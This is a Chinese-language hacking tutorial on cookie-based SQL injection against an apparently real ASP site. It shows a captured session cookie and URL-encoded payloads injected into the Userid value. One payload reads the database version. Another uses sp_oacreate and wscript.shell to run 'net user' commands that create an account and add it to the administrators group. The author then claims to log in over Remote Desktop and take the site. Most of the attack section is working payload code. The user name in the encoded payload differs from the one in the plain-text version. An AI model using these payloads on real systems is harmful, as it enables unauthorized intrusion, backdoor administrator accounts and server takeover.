另类的注射攻击----cookie注射(图)

三、cookie注射注意点
1.;符号,在cookie里,各个变量间的是用;来区分的,所以你的注射语句里面不要乱含有;,如果你含有的话,可能会导致你的注射语句出错.
2.空格符号,在cookie里,会自动过滤掉空格,所以你的注射语句里面要注意转换
该注意的地方也差不多了,现在我们开始我们的注射之旅吧.
四、我注,我注,我注注注
其member.asp需要登陆,登陆后其cookie如下
Userid=5581;email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH
变换一下位置,方便注射
email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581;

查一下版本:
把 and 1=(select @@version);--解码一下,转换如下:

%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D

整个cookie变换成

email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%20%61%6E%64%20%31%3D%28%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%29%3B%2D%2D ;

得到回显如图一:

 
扫描其端口发现开了3389,直接加个用户,注射如下:
转换语句:

;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out exec sp_oamethod @o,'run',NULL,'net.exe user linzi linzihk /add';exec sp_oamethod @o,'run',NULL,'net.exe localgroup administrators linzi /add';--

如下:

%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D

修改cookie如下:

email=icerover%40msn%2Ecom; ASPSESSIONIDASARRRTT=OMOIFPICADICDLAMAKOGCNNH; Userid=5581%3B%64%65%63%6C%61%72%65%20%40%73%20%76%61%72%63%68%61%72%28%32%31%29%20%73%65%74%20%40%73%3D%27%77%73%63%72%69%70%74%2E%73%68%65%6C%6C%27%64%65%63%6C%61%72%65%20%40%6F%20%69%6E%74%20%65%78%65%63%20%73%70%5F%6F%61%63%72%65%61%74%65%20%40%73%2C%40%6F%20%6F%75%74%20%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%75%73%65%72%20%78%69%61%6F%6C%75%20%6C%69%6E%7A%69%68%6B%20%2F%61%64%64%27%3B%65%78%65%63%20%73%70%5F%6F%61%6D%65%74%68%6F%64%20%40%6F%2C%27%72%75%6E%27%2C%4E%55%4C%4C%2C%27%6E%65%74%2E%65%78%65%20%6C%6F%63%61%6C%67%72%6F%75%70%20%61%64%6D%69%6E%69%73%74%72%61%74%6F%72%73%20%78%69%61%6F%6C%75%20%2F%61%64%64%27%3B%2D%2D;

得到回显如图二:

 
虽然显示占线，但已经执行成功，开了TS，直接用3389登陆器登上去，bingo!拿下站点.
五、总结:
无语，大家自己去体会!~~~ （作者：:linzi[B.C.T]  EMAIL:linzihk@hotmail.com）

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